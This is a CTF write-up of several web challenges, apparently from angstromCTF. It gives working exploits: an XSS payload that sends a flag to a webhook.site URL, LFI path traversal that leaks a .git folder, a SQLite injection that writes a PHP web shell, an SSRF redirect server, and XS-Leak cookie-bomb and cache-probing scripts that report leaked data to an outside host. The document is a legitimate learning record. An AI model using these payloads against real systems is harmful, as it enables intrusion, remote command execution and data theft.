My solution for some web challenges in this competition
The Flash
Use DOM breakpoints in Chrome devtools, right click on p
tag and chose Break on -> subtree modifications
then step over to get flag
actf{sp33dy_l1ke_th3_fl4sh}
Auth Skip
set cookie: user=admin
actf{passwordless_authentication_is_the_new_hip_thing}
crumbs
exploit script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import re
TARGET = "https://crumbs.web.actf.co/"
s = requests.Session()
next = ""
for i in range(1002):
r = s.get(TARGET + next)
if i == 1001:
print(r.text)
break
next = re.search(r"Go to (.*)", r.text).group(1)
print(next)
actf{w4ke_up_to_th3_m0on_6bdc10d7c6d5}
Xtra Salty Sardines
Pay attention to the flowing lines:
1
2
3
4
5
6
const name = req.body.name
.replace("&", "&")
.replace('"', """)
.replace("'", "'")
.replace("<", "<")
.replace(">", ">");
I abuse that:
The
replace()
method returns a new string with some or all matches of apattern
replaced by a replacement. Thepattern
can be a string or aRegExp
, and the replacement can be a string or a function called for each match. If pattern is a string, only the first occurrence will be replaced.
Payload:
1
'<></h1><script>var x = new XMLHttpRequest;x = open('GET', '/flag'); x.onload = function() {navigator.sendBeacon('https://webhook.site/8771a7aa-4464-438a-84ac-7311eae5bd87', this.responseText)}; x.send();</script>
actf{those_sardines_are_yummy_yummy_in_my_tummy}
School unblocker
Use this.
Exploit script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const express = require('express')
const app = express();
const port = Number(process.env.PORT) || 8888;
app.post("/", (req, res) => {
res.redirect(307, "http://127.0.0.1:8080/flag")
});
app.listen(port, () => {
console.log(`Server listening on port ${port}`);
});
actf{dont_authenticate_via_ip_please}
Art Gallery
LFI in member
parameter.
Noted that
/proc/1/cwd/
point to the current working directory in the docker container.
Send the following payload to fetch Dockerfile
.
1
https://art-gallery.web.actf.co/gallery/?member=../../../../proc/1/cwd/Dockerfile
Dockerfile:
1
2
3
4
5
6
7
8
9
10
11
12
FROM node:17-bullseye-slim
WORKDIR /app
COPY . .
RUN mv git .git
RUN npm ci
ENV PORT=8080
EXPOSE 8080
CMD ["node", "index.js"]
The next step is to exploit the .git
folder using GitHacker.
After fetching all sources, use git log
to check log commit.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌─[nguyen@parrot]─[~/LearningSpace/test/result/ec42c41d9bc611be9e22c4092e4828d0]
└──╼ $git log
commit 1c584170fb33ae17a63e22456f19601efb1f23db (HEAD, origin/master, origin/HEAD, master)
Author: imposter <sus@aplet.me>
Date: Tue Apr 26 21:47:45 2022 -0400
bury secrets
commit 713a4aba8af38c9507ced6ea41f602b105ca4101
Author: imposter <sus@aplet.me>
Date: Tue Apr 26 21:44:48 2022 -0400
remove vital secrets
commit 56449caeb7973b88f20d67b4c343cbb895aa6bc7
Author: imposter <sus@aplet.me>
Date: Tue Apr 26 21:44:01 2022 -0400
add program
git checkout
to check a commit.
1
2
3
4
5
6
7
8
9
10
─[✗]─[nguyen@parrot]─[~/LearningSpace/test/result/ec42c41d9bc611be9e22c4092e4828d0]
└──╼ $git checkout 56449caeb7973b88f20d67b4c343cbb895aa6bc7
Previous HEAD position was 1c58417 bury secrets
HEAD is now at 56449ca add program
┌─[nguyen@parrot]─[~/LearningSpace/test/result/ec42c41d9bc611be9e22c4092e4828d0]
└──╼ $ls
error.html flag.txt images index.html index.js package.json package-lock.json
┌─[nguyen@parrot]─[~/LearningSpace/test/result/ec42c41d9bc611be9e22c4092e4828d0]
└──╼ $cat flag.txt
actf{lfi_me_alone_and_git_out_341n4kaf5u59v}
actf{lfi_me_alone_and_git_out_341n4kaf5u59v}
Secure Vault
Create an account: bla:bla
then save the token
value (jwt of bla account) after that Delete account
. Then set the cookie value with token:<jwt token of bla account>
-> return flag.
The reason why it works is due to the following two lines in index.js
:
1
2
const user = users.get(res.locals.user.uid);
res.type("text/plain").send(user.restricted ? user.vault : flag);
if we send an old jwt, then user={}
and user.restricted=undefined
(because it has been already deleted from UserStore
).
actf{is_this_what_uaf_is}
NoFlags
Dockerfile:
1
2
3
4
5
6
7
8
9
10
11
12
13
FROM php:8.1.5-apache-bullseye
COPY printflag /printflag
RUN chmod 111 /printflag
COPY src /var/www/html
RUN chown -R root:root /var/www/html && chmod -R 555 /var/www/html
RUN mkdir /var/www/html/abyss &&\
chown -R root:root /var/www/html/abyss &&\
chmod -R 333 abyss
EXPOSE 80
From this file, i figure out following things:
printflag
a file with only-executable permission that used to print flag/var/www/html
: readable and executable permission/var/www/html/abyss
: writable and executable permission
=> The target to achieve is RCE using sqlite injection.
Read more from here.
payload:
1
');ATTACH DATABASE '/var/www/html/abyss/exp.php' AS exp;CREATE TABLE exp.pwn (dataz text);INSERT INTO exp.pwn (dataz) VALUES ('<?system($_GET["cmd"]); ?>');--
Result:
flag
Sustenance
I had worked in this challenge for 3 days, searching, trying, playing around with it but i couldn’t come up with a solution. So i will write what i have learned from orther people’s writeups 😗 .
Overview:
overview
Source:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
const express = require("express");
const cookieParser = require("cookie-parser");
const path = require("path");
const app = express();
app.use(express.urlencoded({ extended: false }));
// environment config
const port = Number(process.env.PORT) || 8080;
const adminSecret = process.env.ADMIN_SECRET || "secretpw";
const flag =
process.env.FLAG ||
"actf{someone_is_going_to_submit_this_out_of_desperation}";
function queryMiddleware(req, res, next) {
res.locals.search =
req.cookies.search || "the quick brown fox jumps over the lazy dog";
// admin is a cool kid
if (req.cookies.admin === adminSecret) {
res.locals.search = flag;
}
next();
}
app.use(cookieParser());
app.get("/", (req, res) => {
res.sendFile(path.join(__dirname, "index.html"));
});
app.post("/s", (req, res) => {
if (req.body.search) {
for (const [name, val] of Object.entries(req.body)) {
res.cookie(name, val, { httpOnly: true });
}
}
res.redirect("/");
});
app.get("/q", queryMiddleware, (req, res) => {
const query = req.query.q || "h"; // h
let status;
if (res.locals.search.includes(query)) {
status =
"succeeded, but please give me sustenance if you want to be able to see your search results because I desperately require sustenance";
} else {
status = "failed";
}
res.redirect(
"/?m=" +
encodeURIComponent(
`your search that took place at ${Date.now()} has ${status}`
)
);
});
app.listen(port, () => {
console.log(`Server listening on port ${port}`);
});
Working flow:
Set search string
functionality sets the “search string” and placed it in your cookie.Search string
functionality return the status (succeeded
/failed
) whether the “search string” (stored in cookie) includes the string inq
- GET parameter.
From those things, we can obviously figure out that it is kind of XS-Leaks challenge.
There are 2 approach for solving the challenge: Cookie bomb and Cache probing attack.
Cookie bomb
The idea and solution came from Strellic and it is also the intended solution.
For anyone who don’t know about this attack technique, this blog will be a good reference.
We have already known that the server stored the string (if the user is admin, it will be the flag) in cookie and the response’s length in two case is difference (the successful one is longer than another). So if we make the search string
very long but controling it to be just barely under the maximum of request header size then we can use the cookie bomb attack to trigger error-event with a view to figuring out whether it was successful or not.
But there is still one problem we have to deal with. As you can see, SameSite
has not been explicitly specified, the cookie will be treated as SameSite=Lax
so that we can’t make the admin bot visit our page and send a lot of cookie because the “Lax” cookie can just be sent by those ways and it have to obey the samesite rule. And @Strellic’s trick solved the problem. He used the XSS vulnerability from Xtra Salty Sardines
challenge to exploit. Both https://sustenance.web.actf.co/
and https://xtra-salty-sardines.web.actf.co/
were treated as same site because of having the same eTLD+1 - actf.co
.
Here is his exploit script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<>'";<form action='https://sustenance.web.actf.co/s' method=POST><input id=f /><input name=search value=a /></form>
<script>
const $ = document.querySelector.bind(document);
const sleep = (ms) => new Promise(r => setTimeout(r, ms));
let i = 0;
const stuff = async(len = 3500) => {
let name = Math.random();
$("form").target = name;
let w = window.open('', name);
$("#f").value = "_".repeat(len);
$("#f").name = i++;
$("form").submit();
await sleep(100);
};
const isError = async(url) => {
return new Promise(r => {
let script = document.createElement('script');
script.src = url;
script.onload = () => r(false);
script.onerror = () => r(true);
document.head.appendChild(script);
});
}
const search = (query) => {
return isError("https://sustenance.web.actf.co/q?q=" + encodeURIComponent(query));
};
const alphabet = "etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ";
const url = "//webhook.site/fe29ff9f-908c-4508-9bbd-14848cf2c3f8";
let known = "actf{";
window.onload = async() => {
navigator.sendBeacon(url + "?load");
await Promise.all([stuff(), stuff(), stuff(), stuff()]);
await stuff(1600);
navigator.sendBeacon(url + "?go");
while (true) {
for (let c of alphabet) {
let query = known + c;
if (await search(query)) {
navigator.sendBeacon(url, query);
known += c;
break;
}
}
}
};
</script>
Promise.all()
was used to increase the cookie’s size slowly because sending tons of cookie in one request will get a 502 Bad Gateway
status.
One thing @Strellic didn’t indicate in his solution is the maximum size of request header. Using Burp Suite
i noted that remote server used HTTP/2 module
and nginx
as web server. After spending a couple of minutes on searching, i came across this site. According to it, the maxium size is 16k in default so we can adjust the len
in stuff()
to make it barely under the limit.
Send payload:
payload
Result: result
Cache probing
After reading and trying a lot of exploit techniques in xs-leak wiki, I finally thought about cache probing. But in the end i think it is too complicated so i decide to skip it and wait for the writeup 😔.
You can read the original writeup from this and this blog.
The idea is to abuse the cache, if the returned response is “succeeded” then it will be cache with the cache key ...?m=your search that took place at <Date.now()> has succed ... require sustenance
so we can use fetch
with cache: 'force-cache'
and bruteforce the Date.now()
value to measure the response’s time. If the time is small than the “base time” than it is likely that the flag contains the current bruteforcing character.
Assuming that cache partitioning worked
There is still one problem we have to come over. Now, Chrome will partition its HTTP cache starting in Chrome 86 (Gaining security and privacy by partitioning the cache).
With cache partitioning, cached resources will be keyed using a new “Network Isolation Key” in addition to the resource URL. The Network Isolation Key is composed of the top-level site and the current-frame site.
So if you plan to place your exploit script in a page (for example it is hosted by ngrok), the cache key will be (https://id.ngrok.io, https://id.ngrok.io, https://sustenance.web.actf.co/?m=...)
but the expected cache key should be (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =...)
in order to make the cache shareable. By using the Strellic’s trick above, we can easily solve the problem. Beside, the cookie attribute is SameSite=Lax
(explained above) so we have to use window.open
for top-level navigations ortherwise the cookie won’t be sent
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
!<>"';
<script>
// to hang the connection
fetch('https://deelay.me/20000/https://example.com')
// NOTE: we will calculate this baseline before doing the attack
var baseLine = 3.2
const sleep = ms => new Promise((resolve) => setTimeout(resolve, ms))
go()
async function go() {
await calculateBaseline()
main()
async function calculateBaseline() {
var m = Math.random()
let win = window.open('https://sustenance.web.actf.co/?m=cached_' + m)
// NOTE: this number can be decreased by detecting window load
await sleep(500)
win.close()
let total = 0
for(let i=1; i<=5; i++) {
let ts = await getLoadTime('https://sustenance.web.actf.co/?m=cached_' + m)
total += ts
report(`Cached time, round: ${i}, ${ts}ms`)
}
// NOTE: 0.5 is just a random guess
baseLine = (total/5) + 0.5
report(`Baseline: ${baseLine}`)
// NOTE: adjust baseline, should not be more than 3 ms based on previous testing
if (baseLine > 3) {
baseLine = 3
}
for(let i=1; i<=3; i++) {
let ts = await getLoadTime('https://sustenance.web.actf.co/?m=not_cached_' + m)
report(`Not Cached time, round: ${i}, ${ts}ms`)
}
}
// NOTE: server is quite fast so no need to set timeout
async function getLoadTime(url) {
const start = performance.now()
await fetch(url, { cache: 'force-cache', mode: 'no-cors' })
return performance.now() - start
}
// function to bruteforce the successful search
function genSucceedUrl(t) {
let ft = t + ''
while(ft.length < 13) {
ft += '0'
}
const status = "succeeded, but please give me sustenance if you want to be able to see your search results because I desperately require sustenance";
return 'https://sustenance.web.actf.co/?m=' + encodeURIComponent(`your search that took place at ${ft} has ${status}`);
}
async function isCached(str) {
let start = +new Date()
let win = window.open(`https://sustenance.web.actf.co/q?q=` + encodeURIComponent(str))
await sleep(500)
win.close()
// NOTE: base on the data collected, i should be 1~20, pretty small number
for(let i=1; i<=30; i++) {
const url = genSucceedUrl(start + i)
let loadTime = await getLoadTime(url)
if (loadTime <= baseLine) {
// NOTE: check again to see if it really meets the condition
let total = 0
for(let j=1; j<=3; j++) {
total += await getLoadTime(url)
}
total/=3
if (total <= baseLine) {
report(`isCached success, str=${str}, i=${i}, start=${start}, total=${total}`)
return true
}
}
}
return false
}
async function main() {
let flag = 'actf{yummy_'
// NOTE: we can leak the charset first to speed up the process
let chars = 'acefsmntuy_}'.split('')
while(flag[flag.length - 1] !== '}') {
for(let char of chars) {
report('trying:' + flag + char)
if (await isCached(flag + char)) {
flag += char
report('flag:' + flag)
break
}
}
}
}
async function report(data) {
console.log(data)
// TODO: change to your VPS
return fetch('https://YOUR_VPS/', { method: 'POST', body: data, mode: 'no-cors' }).catch(err => err);
}
}
</script>
There is no cache partitioning
Some people find out the fact that cache partitioning didn’t work in headless chrome (this one is an example).
So you can use the previous script on your page, host it by ngrok and submit this url to admin.